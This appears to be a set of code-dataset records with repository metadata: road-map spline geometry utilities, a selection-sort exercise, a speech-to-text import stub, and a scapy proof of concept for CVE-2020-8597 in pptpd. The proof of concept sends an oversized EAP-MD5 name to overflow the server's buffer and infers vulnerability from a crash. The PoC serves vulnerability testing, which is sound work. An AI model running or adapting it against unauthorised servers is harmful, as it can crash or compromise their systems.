np.diff(splineY)**2) S = sum(dS) u_dense = np.linspace(curve.u[0], curve.u[-1], int(np.round(S / MAX_SEGMENT_LENGTH))) # compute new dense spline out = interpolate.splev(u_dense,curve.tck) new_pts = np.stack(out) return SplineCurve(id=curve.id,keys=curve.keys, pts=new_pts,tck=curve.tck,u=u_dense) def DownsampleSplineCurve(curve,THRESHOLD=1.0,ds_min=50.0): """ Downsample a curve by greedy splitting until below reprojection error threshold """ idxs = ComputeSplitIndices(curve,THRESHOLD=THRESHOLD,ds_min=ds_min) new_pts = np.stack([curve.pts[:,i] for i in idxs]).T return SplineCurve(id=curve.id,keys=curve.keys, pts=new_pts,tck=curve.tck,u=curve.u[idxs]) def SplitSplineCurve(open_map, spline_curve_id, idx, ratio): """ splits a spline curve and returns the new ids """ spline_curve = open_map.spline_curves[spline_curve_id] split_pt = ratio*spline_curve.pts[:,idx+1] + (1.-ratio)*spline_curve.pts[:,idx] # linear interpolation split_u = ratio*spline_curve.u[idx+1] + (1.-ratio)*spline_curve.u[idx] new_spline_curve = SplineCurve( id=len(open_map.spline_curves)+1, pts=np.block([np.expand_dims(split_pt,1), spline_curve.pts[:,idx+1:]]), keys=spline_curve.keys, tck=spline_curve.tck.copy(), u=np.block([split_u, spline_curve.u[idx+1:]]) ) spline_curve.u = np.block([spline_curve.u[:idx+1], split_u]) spline_curve.pts = np.block([spline_curve.pts[:,:idx+1],np.expand_dims(split_pt,1)]) # open_map.spline_curves[spline_curve_id] = spline_curve open_map.spline_curves[new_spline_curve.id] = new_spline_curve return spline_curve.id, new_spline_curve.id def SplitCurve(open_map, curve_id, idx, ratio): """ splits a curve and returns the new ids """ curve = open_map.curves[curve_id] split_pt = curve.pts[idx+1]*ratio + curve.pts[idx]*(1.-ratio) old_pts = curve.pts[:idx+1] old_pts.append(copy(split_pt)) new_pts = curve.pts[idx+1:] new_pts.insert(0,copy(split_pt)) curve.pts = old_pts new_curve = Curve(id=len(open_map.curves)+1, pts=new_pts) open_map.curves[new_curve.id] = new_curve # open_map.curves[curve.id] = curve return curve.id, new_curve.id def ProjectToPolyLine(polyline,pt,kdtree=None): """ projects a point to a polyline """ # First find the closest point on the curve if kdtree is not None: idx = np.argmin(np.sum((polyline.pts.T - pt)**2,axis=1)) else: dist, idx = kdtree.query(pt) # determine the interval in which the point lies if idx == 0: idx1 = idx idx2 = idx + 1 elif idx == polyline.pts.shape[-1] - 1: idx2 = idx idx1 = idx - 1 else: base_pt = polyline.pts[:,idx-1] base_vec = polyline.pts[:,idx] - base_pt vec = pt - base_pt ratio = np.dot(vec,base_vec) / np.dot(base_vec,base_vec) if ratio > 0.0: if ratio < 1.0: idx1 = idx - 1 idx2 = idx else: idx1 = idx idx2 = idx + 1 else: idx1 = idx - 1 idx2 = idx base_pt = polyline.pts[:,idx1] base_vec = polyline.pts[:,idx2] - base_pt vec = pt - base_pt ratio = np.dot(vec,base_vec) / np.dot(base_vec,base_vec) sign = -np.sign(np.cross(vec.T,base_vec.T)) normal = sign*np.linalg.norm(vec - base_vec * ratio) return idx1, ratio, normal def ProjectToCurve(curve,pt,kdtree=None): """ projects a point to a curve (i.e. an array of curve pts) """ # First find the closest point on the curve # import pdb; pdb.set_trace() if kdtree is not None: dist, idx = kdtree.query(np.array([pt.x, pt.y])) else: dists = np.array([(p.x - pt.x)**2 + (p.y - pt.y)**2 for p in curve.pts]) idx = np.argmin(dists) dist = dists[idx] # determine the interval in which the point lies if idx == 0: idx1 = idx idx2 = idx + 1 elif idx == len(curve.pts) - 1: idx2 = idx idx1 = idx - 1 else: # Choose interval based on heading of curve point if np.dot(np.array([np.cos(curve.pts[idx].theta), np.sin(curve.pts[idx].theta)]), CurvePtToVector(pt)[:2] - CurvePtToVector(curve.pts[idx])[:2]) < 0: idx2 = idx idx1 = idx - 1 else: idx1 = idx idx2 = idx + 1 # Compute the curve index base_vec = CurvePtToVector(curve.pts[idx2] - curve.pts[idx1])[:2] vec = CurvePtToVector(pt - curve.pts[idx1])[:2] ratio = np.dot(vec,base_vec) / np.dot(base_vec,base_vec) sign = -np.sign(np.cross(vec.T,base_vec.T)) normal = sign*np.linalg.norm(vec - base_vec * ratio) return idx1, ratio, normal

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import numpy as np from scipy import interpolate import ezdxf import h5py from copy import copy from Roadways import * class SplineCurve: def __init__(self,id=None,pts=None,keys=None,tck=None,u=None): self.id = id self.pts = pts self.keys = keys self.tck = tck # spline coefficients self.u = u # spline eval points class ID_Dispenser: def __init__(self,start_id=1): self.id = start_id def get_id(self): id = self.id self.id += 1 return id def NewRoadSection(open_map): road_section_id = len(open_map.road_sections)+1 road_section = RoadSection( id = road_section_id, segment_ids = [] ) open_map.road_sections[road_section.id] = road_section return road_section def NewRoadSegment(open_map): segment_id = len(open_map.road_segments)+1 road_segment = RoadSegment( id = segment_id, lanes = [], boundaries = set() ) open_map.road_segments[road_segment.id] = road_segment return road_segment def NewBoundary(open_map,boundary_type=None,curve_id=None): boundary = Boundary( id = len(open_map.boundaries)+1, boundary_type = boundary_type, curve = curve_id ) open_map.boundaries[boundary.id] = boundary return boundary def NewLaneSegment(open_map,curve_id=None,segment_id=None): lane_segment = LaneSegment( id=len(open_map.lane_segments)+1, centerline = curve_id, segment_id = segment_id, lane_connections = set(), boundaries_left = set(), boundaries_right = set() ) open_map.lane_segments[lane_segment.id] = lane_segment return lane_segment def CurvePtToVector(pt): return np.array([pt.x, pt.y, pt.theta, pt.s, pt.t, pt.k, pt.dk]) def ResamplePolyline(X,ds_min=5.0): i = 0 while i < X.shape[1] - 1: dx = X[:,i+1] - X[:,i] ds = np.linalg.norm(dx) if ds > ds_min: pts = np.array([ds_min*j for j in range(1,int(np.floor(ds/ds_min)))]) x = np.expand_dims(X[:,i],1) + (np.expand_dims(dx,1)/ds).dot(np.expand_dims(pts,0)) X = np.block([X[:,:i+1],x,X[:,i+1:]]) i += x.shape[1] + 1 else: i = i+1 return X def NormalVectorToLineSegment(linepts, pt): """ linepts = np.array([[x1,x2],[y1,y2]]) pt.shape = (2,N) # can be single pt or multiple pts """ if pt.ndim == 1: pt = np.expand_dims(pt,1) base_pt = np.expand_dims(linepts[:,0],1) base_vec = np.expand_dims(linepts[:,1] - linepts[:,0],1) base_vec = base_vec / np.linalg.norm(base_vec) diff_vec = pt - base_pt normal = diff_vec - base_vec * base_vec.T.dot(diff_vec) return normal def ProjectionError(linepts, pt): normal = NormalVectorToLineSegment(linepts, pt) error = np.sqrt(np.sum(normal**2,axis=0)) return error def NormalDisplacementFromLineSegment(linepts, pt): """ returns a positive or negative distance for each query point """ base_pt = np.expand_dims(linepts[:,0],1) base_vec = np.expand_dims(linepts[:,1] - linepts[:,0],1) base_vec = base_vec / np.linalg.norm(base_vec) diff_vec = pt - base_pt sign = np.sign(np.cross(diff_vec.T,base_vec.T)) dist = np.sqrt(np.sum((diff_vec - base_vec * base_vec.T.dot(diff_vec))**2,axis=0)) return sign * dist def SplitLineRecursive(linepts,i,j,THRESHOLD=5.0,ds_min=50.0): """ Choose best point at which to split a line to minimize total reprojection error """ max_err = np.max(ProjectionError(np.stack((linepts[:,i],linepts[:,j])).T, linepts[:,i:j])) if max_err < THRESHOLD: ds = np.cumsum(np.sqrt(np.sum(np.diff(linepts[:,i:j])**2,axis=0))) if ds[-1] > ds_min: k = i + np.argmin((ds - ds[-1]/2.)**2) + 1 return k else: return j errors1 = np.zeros(j-(i+1)) errors2 = np.zeros(j-(i+1)) max_errors1 = np.zeros(j-(i+1)) max_errors2 = np.zeros(j-(i+1)) for k in range(i+1,j): l1 = np.stack((linepts[:,i],linepts[:,k])).T l2 = np.stack((linepts[:,k],linepts[:,j])).T errors1[k-i-1] = np.sum(ProjectionError(l1, linepts[:,i+1:k])) / (k-i) errors2[k-i-1] = np.sum(ProjectionError(l2, linepts[:,k+1:j])) / (j-k) max_errors1[k-i-1] = np.max(ProjectionError(l1, linepts[:,i:k])) max_errors2[k-i-1] = np.max(ProjectionError(l2, linepts[:,k:j])) k = i+1 + np.argmin(errors1 + errors2) # max_err1 = np.max(max_errors1) # max_err2 = np.max(max_errors2) return k def FindBestLinearSplit(pts,i,j,THRESHOLD=1.0): """ Not working yet... """ max_err = np.max(ProjectionError(np.stack((pts[:,i],pts[:,j])).T, pts)) if max_err < THRESHOLD: return j errors1 = np.zeros(j-(i+1)) errors2 = np.zeros(j-(i+1)) max_errors1 = np.zeros(j-(i+1)) max_errors2 = np.zeros(j-(i+1)) for k in range(i+1,j): X1 = np.stack([pts[0,i:k],np.ones(k-i)]).T X2 = np.stack([pts[0,k:j],np.ones(j-k)]).T X = np.block([[X1,np.zeros_like(X1)],[np.zeros_like(X2),X2]]) Y = pts[1,i:j] params = np.linalg.inv(X.T.dot(X)).dot(X.T).dot(Y) Yhat = X.dot(params) l1 = np.stack([ [pts[0,i],Yhat[i]], [pts[0,k],Yhat[k]] ]).T l2 = np.stack([ [pts[0,k],Yhat[k]], [pts[0,j-1],Yhat[j-1]] ]).T errors1[k-i-1] = np.sum(ProjectionError(l1, pts[:,i+1:k])) / (k-i) errors2[k-i-1] = np.sum(ProjectionError(l2, pts[:,k+1:j])) / (j-k) max_errors1[k-i-1] = np.max(ProjectionError(l1, pts[:,i:k])) max_errors2[k-i-1] = np.max(ProjectionError(l2, pts[:,k:j])) k = i+1 + np.argmin(errors1 + errors2) max_err1 = np.max(max_errors1) max_err2 = np.max(max_errors2) return params, k def ComputeSplitIndices(curve,THRESHOLD=1.0,ds_min=50.0): """ Downsample a curve by greedy splitting until below reprojection error threshold """ explored = set() frontier = set() frontier.add((0,curve.pts.shape[1]-1)) while len(frontier) != 0: i,j = frontier.pop() if j - i <= 1: explored.add((i,j)) else: k = SplitLineRecursive(curve.pts,i,j,THRESHOLD=THRESHOLD,ds_min=ds_min) if k != j and i != j-1: frontier.add((i,k)) frontier.add((k,j)) else: explored.add((i,j)) idxs = sorted(list(set([i for idxs in explored for i in idxs]))) return idxs def UpSampleSplineCurve(curve, MAX_SEGMENT_LENGTH=5.0): """ Upsample """ unew = np.linspace(curve.u[0],curve.u[-1],100) out = interpolate.splev(unew,curve.tck) splineX = out[0]; splineY = out[1]; dS = np.sqrt(np.diff(splineX)**2 + np.diff(splineY)**2) S = sum(dS) u_dense = np.linspace(curve.u[0], curve.u[-1], int(np.round(S / MAX_SEGMENT_LENGTH))) # compute new dense spline out = interpolate.splev(u_dense,curve.tck) new_pts = np.stack(out) return SplineCurve(id=curve.id,keys=curve.keys, pts=new_pts,tck=curve.tck,u=u_dense) def DownsampleSplineCurve(curve,THRESHOLD=1.0,ds_min=50.0): """ Downsample a curve by greedy splitting until below reprojection error threshold """ idxs = ComputeSplitIndices(curve,THRESHOLD=THRESHOLD,ds_min=ds_min) new_pts = np.stack([curve.pts[:,i] for i in idxs]).T return SplineCurve(id=curve.id,keys=curve.keys, pts=new_pts,tck=curve.tck,u=curve.u[idxs]) def CurveFromSplineCurve(spline_curve): curve = Curve() curve.id = spline_curve.id curve.pts = [] # Compute CurvePt values (theta, S, K, dK) out = interpolate.splev(spline_curve.u,spline_curve.tck) X = out[0]; Y = out[1] deltaX = np.diff(X); deltaY = np.diff(Y) dS = np.sqrt(deltaX**2 + deltaY**2) S = np.zeros(len(dS)+1) S[1:] = np.cumsum(dS) # Get heading from first derivative d_out = interpolate.splev(spline_curve.u,spline_curve.tck,der=1) dX = d_out[0]; dY = d_out[1]; theta = np.arctan2(dY,dX) theta_emp = np.arctan2(deltaY,deltaX) # Get curvature from second derivatives dd_out = interpolate.splev(spline_curve.u,spline_curve.tck,der=2) ddX = dd_out[0]; ddY = dd_out[1]; K = (dX*ddY - dY*ddX)/((dX*dX + dY*dY)**1.5) # curvature # Get Derivative of Curvature - WAY TOO NOISY TO BE USEFUL ddd_out = interpolate.splev(spline_curve.u,spline_curve.tck,der=3) dddX = dd_out[0]; dddY = dd_out[1]; # DK = ((dX**2 + dY**2)*(dX*dddY - dY*dddX) - (dX*ddY - dY*ddX)*2*(dX*ddX+dY*ddY)) / (ddX**2+ddY*2)**2 dK = np.diff(K) / dS # derivative of curvature dK = (dK[1:] + dK[:-1]) / 2.0 dK = np.concatenate([[0.],dK,[0.]]) for i in range(len(X)): curve.pts.append( CurvePt( id = 0, x=X[i], y=Y[i], theta = theta[i], s = S[i], t = 0.0, k = K[i], dk = dK[i] ) ) return curve def GetSplitIndex(spline_curve, divider, BUFFER_DISTANCE=5.0): split_idx = None ratio = None direction = None # Check that the curve is in fact separated by the divider line normal_to_div = NormalDisplacementFromLineSegment(divider.pts, spline_curve.pts) idxs = (np.diff(np.sign(normal_to_div)) != 0).nonzero()[0] if len(idxs) == 0: idx = None direction = -np.sign(normal_to_div[0]) ratio = None for idx in idxs: if normal_to_div[idx] < normal_to_div[idx+1]: direction = 1 else: direction = -1 if np.max(normal_to_div) > BUFFER_DISTANCE and np.min(normal_to_div) < -BUFFER_DISTANCE: s1 = np.cross(divider.pts[:,0] - spline_curve.pts[:,idx], spline_curve.pts[:,idx+1] - spline_curve.pts[:,idx]) s2 = np.cross(divider.pts[:,1] - spline_curve.pts[:,idx], spline_curve.pts[:,idx+1] - spline_curve.pts[:,idx]) if np.sign(s1) != np.sign(s2): # compute split point split_idx = idx d1 = ProjectionError(divider.pts, spline_curve.pts[:,idx]) d2 = ProjectionError(divider.pts, spline_curve.pts[:,idx+1]) ratio = np.sum(d1 / (d2 + d1)) break else: split_idx = None ratio = None return split_idx, ratio, direction def SplitSplineCurve(open_map, spline_curve_id, idx, ratio): """ splits a spline curve and returns the new ids """ spline_curve = open_map.spline_curves[spline_curve_id] split_pt = ratio*spline_curve.pts[:,idx+1] + (1.-ratio)*spline_curve.pts[:,idx] # linear interpolation split_u = ratio*spline_curve.u[idx+1] + (1.-ratio)*spline_curve.u[idx] new_spline_curve = SplineCurve( id=len(open_map.spline_curves)+1, pts=np.block([np.expand_dims(split_pt,1), spline_curve.pts[:,idx+1:]]), keys=spline_curve.keys, tck=spline_curve.tck.copy(), u=np.block([split_u, spline_curve.u[idx+1:]]) ) spline_curve.u = np.block([spline_curve.u[:idx+1], split_u]) spline_curve.pts = np.block([spline_curve.pts[:,:idx+1],np.expand_dims(split_pt,1)]) # open_map.spline_curves[spline_curve_id] = spline_curve open_map.spline_curves[new_spline_curve.id] = new_spline_curve return spline_curve.id, new_spline_curve.id def SplitCurve(open_map, curve_id, idx, ratio): """ splits a curve and returns the new ids """ curve = open_map.curves[curve_id] split_pt = curve.pts[idx+1]*ratio + curve.pts[idx]*(1.-ratio) old_pts = curve.pts[:idx+1] old_pts.append(copy(split_pt)) new_pts = curve.pts[idx+1:] new_pts.insert(0,copy(split_pt)) curve.pts = old_pts new_curve = Curve(id=len(open_map.curves)+1, pts=new_pts) open_map.curves[new_curve.id] = new_curve # open_map.curves[curve.id] = curve return curve.id, new_curve.id def ProjectToPolyLine(polyline,pt,kdtree=None): """ projects a point to a polyline """ # First find the closest point on the curve if kdtree is not None: idx = np.argmin(np.sum((polyline.pts.T - pt)**2,axis=1)) else: dist, idx = kdtree.query(pt) # determine the interval in which the point lies if idx == 0: idx1 = idx idx2 = idx + 1 elif idx == polyline.pts.shape[-1] - 1: idx2 = idx idx1 = idx - 1 else: base_pt = polyline.pts[:,idx-1] base_vec = polyline.pts[:,idx] - base_pt vec = pt - base_pt ratio = np.dot(vec,base_vec) / np.dot(base_vec,base_vec) if ratio > 0.0: if ratio < 1.0: idx1 = idx - 1 idx2 = idx else: idx1 = idx idx2 = idx + 1 else: idx1 = idx - 1 idx2 = idx base_pt = polyline.pts[:,idx1] base_vec = polyline.pts[:,idx2] - base_pt vec = pt - base_pt ratio = np.dot(vec,base_vec) / np.dot(base_vec,base_vec) sign = -np.sign(np.cross(vec.T,base_vec.T)) normal = sign*np.linalg.norm(vec - base_vec * ratio) return idx1, ratio, normal def ProjectToCurve(curve,pt,kdtree=None): """ projects a point to a curve (i.e. an array of curve pts) """ # First find the closest point on the curve # import pdb; pdb.set_trace() if kdtree is not None: dist, idx = kdtree.query(np.array([pt.x, pt.y])) else: dists = np.array([(p.x - pt.x)**2 + (p.y - pt.y)**2 for p in curve.pts]) idx = np.argmin(dists) dist = dists[idx] # determine the interval in which the point lies if idx == 0: idx1 = idx idx2 = idx + 1 elif idx == len(curve.pts) - 1: idx2 = idx idx1 = idx - 1 else: # Choose interval based on heading of curve point if np.dot(np.array([np.cos(curve.pts[idx].theta), np.sin(curve.pts[idx].theta)]), CurvePtToVector(pt)[:2] - CurvePtToVector(curve.pts[idx])[:2]) < 0: idx2 = idx idx1 = idx - 1 else: idx1 = idx idx2 = idx + 1 # Compute the curve index base_vec = CurvePtToVector(curve.pts[idx2] - curve.pts[idx1])[:2] vec = CurvePtToVector(pt - curve.pts[idx1])[:2] ratio = np.dot(vec,base_vec) / np.dot(base_vec,base_vec) sign = -np.sign(np.cross(vec.T,base_vec.T)) normal = sign*np.linalg.norm(vec - base_vec * ratio) return idx1, ratio, normal def ConnectLanes(open_map, from_id, to_id, connection_type): for connection_id, connection in open_map.lane_connections.items(): if connection.from_id == from_id and connection.to_id == to_id: return None connection = LaneConnection( id = len(open_map.lane_connections) + 1, from_id=from_id, to_id=to_id, connection_type=connection_type ) open_map.lane_connections[connection.id] = connection # if from_id in open_map.lane_segment.keys(): # open_map.lane_segments[from_id].lane_connections.add(connection.id) return connection def SplitLane(open_map, segment_id, lane_id, curve_idx): lane = open_map.lane_segments[lane_id] segment = open_map.road_segments[segment_id] if lane_id in segment.lanes: new_lane = LaneSegment( id = len(open_map.lane_segments)+1, segment_id = segment_id, lane_connections = set() ) new_lane = NewLaneSegment(open_map) for connection_id, connection in open_map.lane_connections.items(): if connection.from_id == lane_id and connection.connection_type == "Continue": connection.from_id = new_lane.id # lane_connection = LaneConnection( # id=len(open_map.lane_connections)+1, # from_id=lane.id, # to_id=new_lane.id, # connection_type="Continue" # ) open_map.lane_segments[new_lane.id] = new_lane connection = ConnectLanes(open_map,lane.id,new_lane.id,"Continue") if connection is not None: new_lane.lane_connections.add(connection.id) lane.lane_connections.add(connection.id) # open_map.lane_connections[connection_id] = lane_connection segment.lanes.remove(lane.id) segment.lanes.append(new_lane.id) old_id, new_id = SplitSplineCurve(open_map, lane.centerline, curve_idx.i, curve_idx.t) new_lane.centerline = new_id def SplitBoundary(open_map, segment_id, boundary_id, curve_idx): boundary = open_map.boundaries[boundary_id] segment = open_map.road_segments[segment_id] if boundary_id in segment.boundaries: # new_boundary = Boundary( # id = len(open_map.boundaries)+1, # boundary_type = boundary.boundary_type # ) # open_map.boundaries[new_boundary.id] = new_boundary old_id, new_id = SplitSplineCurve(open_map, boundary.curve, curve_idx.i, curve_idx.t) new_boundary = NewBoundary(open_map, boundary_type=boundary.boundary_type,curve_id=new_id) # new_boundary.curve = new_id segment.boundaries.remove(boundary.id) segment.boundaries.add(new_boundary.id) def SplitRefLine(open_map, segment_id, curve_idx): segment = open_map.road_segments[segment_id] old_id, new_id = SplitSplineCurve(open_map, segment.refline, curve_idx.i, curve_idx.t) segment.refline = new_id

7,783

-5

424

eace333492baab89237ac78a14843235cda31067

316

py

Python

lab_session/selection_sort.py

sowmyamanojna/BT3051-Data-Structures-and-Algorithms

09c17e42c2e173a6ab10339f08fbc1505db8ea56

[ "MIT" ]

1

2021-05-13T13:10:42.000Z

lab_session/selection_sort.py

sowmyamanojna/BT3051-Data-Structures-and-Algorithms

09c17e42c2e173a6ab10339f08fbc1505db8ea56

[ "MIT" ]

null

lab_session/selection_sort.py

sowmyamanojna/BT3051-Data-Structures-and-Algorithms

09c17e42c2e173a6ab10339f08fbc1505db8ea56

[ "MIT" ]

null

values = [6, 5, 3, 1, 8, 7, 2, 4] print (values) values = selection_sort(values)

18.588235

46

0.594937

def selection_sort(value): n = len(value) for i in range(n-1): loc = i for j in range(i+1, n): if value[j] < value[loc]: loc = j if loc != i: value[i], value[loc] = value[loc], value[i] print(value) return value values = [6, 5, 3, 1, 8, 7, 2, 4] print (values) values = selection_sort(values)

212

0

22

46b5d19814074de733b953d95c57c5868b1bb95b

7,026

py

Python

cve-2020-8597-pptpd/pptp_poc.py

reidmefirst/PoC-Exploits

3b8f845774a9a6474fed86264443779a8f85e71a

[ "BSD-3-Clause" ]

3

2020-06-02T14:39:17.000Z

2021-04-23T16:34:08.000Z

cve-2020-8597-pptpd/pptp_poc.py

reidmefirst/PoC-Exploits

3b8f845774a9a6474fed86264443779a8f85e71a

[ "BSD-3-Clause" ]

null

cve-2020-8597-pptpd/pptp_poc.py

reidmefirst/PoC-Exploits

3b8f845774a9a6474fed86264443779a8f85e71a

[ "BSD-3-Clause" ]

1

2020-06-12T17:39:21.000Z

#!/usr/bin/python3 from scapy.all import * import socket import sys import signal import os conf_ack_received = False conf_ack_sent = False debug = False if os.environ.get("DEBUG"): debug = True if len(sys.argv) < 2: print("Usage %s PPTP_Server to test for CVE-2020-8597" %(sys.argv[0])); sys.exit(0) dst = sys.argv[1] #default pptp port dport = 1723 print("Initiating communications with PPTP server %s " %(dst)) signal.signal(signal.SIGALRM, handler) #6 seconds for first TCP response signal.alarm(6) #TCP communications client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.connect((dst, dport)) cstream = StreamSocket(client) # initialize PPTP session call_id = random.randint(1000,10000) vr=PPTPStartControlConnectionRequest(vendor_string="cananian") #This is due to a bug in PPTPStartControlConnectionRequest in scapy where version and #revision is not properly parsed vr.protocol_version=256 cstream.sr1(vr,verbose=debug) call_reply = cstream.sr1(PPTPOutgoingCallRequest(call_id=call_id),verbose=debug) call_reply = PPTPOutgoingCallReply(call_reply) signal.alarm(0) #Another 6 seconds to do GRE connection signal.alarm(6) # GRE communications gre_socket = socket.socket(socket.AF_INET,socket.SOCK_RAW, socket.IPPROTO_GRE) gre_socket.connect((dst,dport)) gre_stream = SimpleSocket(gre_socket) #send configuration request server_conf_request = gre_stream.sr1(GRE_PPTP(seqnum_present=1,call_id=call_reply.call_id)/ HDLC()/PPP()/ PPP_LCP_Configure(id=0x1,options=[ PPP_LCP_Magic_Number_Option(magic_number=0xaabbccdd) ]),verbose=debug) server_conf_request = IP(server_conf_request) signal.alarm(0) # give 9 seconds for configure ack to complete signal.alarm(9) tries = 0 try: while conf_ack_received == False or tries < 9: sniff(iface="eth0",prn=pkt_callback,count=1,filter='proto gre and src host '+sys.argv[1],store=0) tries = tries + 1 except: if debug: print("Never could recevie a configureation ack from peer due to Timeout") tries = 9 if conf_ack_received == False and tries > 8: print("Remote system %s did not provide Configure-Acknowledgement - giving up" %(sys.argv[1])) print("Server %s is in UNKNOWN state" %(sys.argv[1])) sys.exit(0) signal.alarm(0) print("Connected to PPTP server, now sending large buffer to peer to attempt buffer overflow") bad_pkt=GRE_PPTP(seqnum_present=1,call_id=call_reply.call_id,seqence_number=server_conf_request[IP][GRE_PPTP].seqence_number+1)/PPP(proto=0xc227)/EAP_MD5(code=1,value_size=16,value='A'*16, optional_name='A'*1100) gre_stream.send(bad_pkt) #Look to see if we receive EAP_Nak that means buffer overflow did NOT succeed signal.alarm(3) try: sniff(iface="eth0", count=1, prn=pkt_callback, filter='proto gre and src host '+sys.argv[1], store=0) except: print("Server %s is likely vulnerable, did not return anything after EAP packet " % (sys.argv[1])) sys.exit(0) print("Server %s is likely NOT vulnerable to buffer overflow" % (sys.argv[1])) signal.alarm(0) print("Verifying peer %s one more time using a Echo request to the peer " % (sys.argv[1])) signal.alarm(3) #echo request to test if PPP interface is still alive - that means we didnt crash the remote #pptp server with the bad payload gre_stream.send(GRE_PPTP(seqnum_present=1,call_id=call_reply.call_id,seqence_number=server_conf_request[IP][GRE_PPTP].seqence_number+2)/ HDLC()/PPP()/ PPP_LCP_Configure(code=0x9,id=4)) try: PPP_Alive = sniff(iface="eth0", count=1, prn=pkt_callback, filter='proto gre and src host '+sys.argv[1], store=0) except: print("Did not received PPP Echo Reply, check the logs on the server to verify status") sys.exit(0) print("Received a normal PPP Echo Reply, System is mostly likely NOT vulnerable") sys.exit(0)

42.325301

212

0.609735

#!/usr/bin/python3 from scapy.all import * import socket import sys import signal import os conf_ack_received = False conf_ack_sent = False debug = False if os.environ.get("DEBUG"): debug = True def pkt_callback(pkt): global gre_stream, server_conf_request, call_reply, conf_ack_received, conf_ack_sent, debug if debug: print("Received a GRE packet that shows continued conversation for EAP") pkt.show() if pkt.haslayer(PPP): if pkt.getlayer(PPP).proto == 49699 : # CHAP 0xc223 conf_ack_received = True if debug: print("Received a CHAP challenge from peer ignoring") print("Assuming we received a Conf-Ack already") return if pkt.haslayer(EAP): if pkt.getlayer(EAP).code == 2 : #EAP Response received for the sent EAP request with bad payload if pkt.getlayer(EAP).type == 3: # If EAP-NaK recevied assume server is ok print("Server %s is likely NOT vulnerable " % (sys.argv[1])) sys.exit(0) if pkt.haslayer(PPP_LCP_Configure) : p_layer = pkt.getlayer(PPP_LCP_Configure) cid = p_layer.id if p_layer.code == 2: if debug: print("Received Conf ack we are all okay") conf_ack_received = True if conf_ack_sent == True: return else: sniff(iface="eth0", count=1, prn=pkt_callback, filter='proto gre and src host '+sys.argv[1], store=0) if p_layer.code == 1: #config request if debug: print("Received another Config-Request, should reply this") pkt.show() server_conf_ack = gre_stream.sr1(GRE_PPTP(seqnum_present=1,call_id=call_reply.call_id,seqence_number=server_conf_request[IP][GRE_PPTP].seqence_number+1)/ HDLC()/PPP()/ PPP_LCP_Configure(code=0x2,id=cid,options=pkt[IP][GRE_PPTP][PPP][PPP_LCP_Configure].options), verbose=debug) conf_ack_sent = True if conf_ack_received: sniff(iface="eth0", count=1, prn=pkt_callback, filter='proto gre and src host '+sys.argv[1], store=0) if p_layer.code == 10 and p_layer.id == 4: # Echo-reply with id=1 if debug: print("We received a Echo-Reply back for ID=4 ping request") print("Server %s is likely NOT vulnerable " % (sys.argv[1])) sys.exit(0) def handler(signum, frame): if debug: print("Timeout has expired") raise Exception('Timed out') if len(sys.argv) < 2: print("Usage %s PPTP_Server to test for CVE-2020-8597" %(sys.argv[0])); sys.exit(0) dst = sys.argv[1] #default pptp port dport = 1723 print("Initiating communications with PPTP server %s " %(dst)) signal.signal(signal.SIGALRM, handler) #6 seconds for first TCP response signal.alarm(6) #TCP communications client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.connect((dst, dport)) cstream = StreamSocket(client) # initialize PPTP session call_id = random.randint(1000,10000) vr=PPTPStartControlConnectionRequest(vendor_string="cananian") #This is due to a bug in PPTPStartControlConnectionRequest in scapy where version and #revision is not properly parsed vr.protocol_version=256 cstream.sr1(vr,verbose=debug) call_reply = cstream.sr1(PPTPOutgoingCallRequest(call_id=call_id),verbose=debug) call_reply = PPTPOutgoingCallReply(call_reply) signal.alarm(0) #Another 6 seconds to do GRE connection signal.alarm(6) # GRE communications gre_socket = socket.socket(socket.AF_INET,socket.SOCK_RAW, socket.IPPROTO_GRE) gre_socket.connect((dst,dport)) gre_stream = SimpleSocket(gre_socket) #send configuration request server_conf_request = gre_stream.sr1(GRE_PPTP(seqnum_present=1,call_id=call_reply.call_id)/ HDLC()/PPP()/ PPP_LCP_Configure(id=0x1,options=[ PPP_LCP_Magic_Number_Option(magic_number=0xaabbccdd) ]),verbose=debug) server_conf_request = IP(server_conf_request) signal.alarm(0) # give 9 seconds for configure ack to complete signal.alarm(9) tries = 0 try: while conf_ack_received == False or tries < 9: sniff(iface="eth0",prn=pkt_callback,count=1,filter='proto gre and src host '+sys.argv[1],store=0) tries = tries + 1 except: if debug: print("Never could recevie a configureation ack from peer due to Timeout") tries = 9 if conf_ack_received == False and tries > 8: print("Remote system %s did not provide Configure-Acknowledgement - giving up" %(sys.argv[1])) print("Server %s is in UNKNOWN state" %(sys.argv[1])) sys.exit(0) signal.alarm(0) print("Connected to PPTP server, now sending large buffer to peer to attempt buffer overflow") bad_pkt=GRE_PPTP(seqnum_present=1,call_id=call_reply.call_id,seqence_number=server_conf_request[IP][GRE_PPTP].seqence_number+1)/PPP(proto=0xc227)/EAP_MD5(code=1,value_size=16,value='A'*16, optional_name='A'*1100) gre_stream.send(bad_pkt) #Look to see if we receive EAP_Nak that means buffer overflow did NOT succeed signal.alarm(3) try: sniff(iface="eth0", count=1, prn=pkt_callback, filter='proto gre and src host '+sys.argv[1], store=0) except: print("Server %s is likely vulnerable, did not return anything after EAP packet " % (sys.argv[1])) sys.exit(0) print("Server %s is likely NOT vulnerable to buffer overflow" % (sys.argv[1])) signal.alarm(0) print("Verifying peer %s one more time using a Echo request to the peer " % (sys.argv[1])) signal.alarm(3) #echo request to test if PPP interface is still alive - that means we didnt crash the remote #pptp server with the bad payload gre_stream.send(GRE_PPTP(seqnum_present=1,call_id=call_reply.call_id,seqence_number=server_conf_request[IP][GRE_PPTP].seqence_number+2)/ HDLC()/PPP()/ PPP_LCP_Configure(code=0x9,id=4)) try: PPP_Alive = sniff(iface="eth0", count=1, prn=pkt_callback, filter='proto gre and src host '+sys.argv[1], store=0) except: print("Did not received PPP Echo Reply, check the logs on the server to verify status") sys.exit(0) print("Received a normal PPP Echo Reply, System is mostly likely NOT vulnerable") sys.exit(0)

3,009

0

70

b7423732828a1ec172d11cc4ed16d8387b7ac8e6

676

py

Python

speech_to_text.py

TheMatildaProject/auditory-cortex

72edf7e90fad238ce3705f0ce8307ce946fc50c1

[ "MIT" ]

null

speech_to_text.py

TheMatildaProject/auditory-cortex

72edf7e90fad238ce3705f0ce8307ce946fc50c1

[ "MIT" ]

null

speech_to_text.py

TheMatildaProject/auditory-cortex

72edf7e90fad238ce3705f0ce8307ce946fc50c1

[ "MIT" ]

null

#import speech_recognition as sr import wave import io import io, os from google.auth import environment_vars from google.cloud import speech

28.166667

51

0.64497

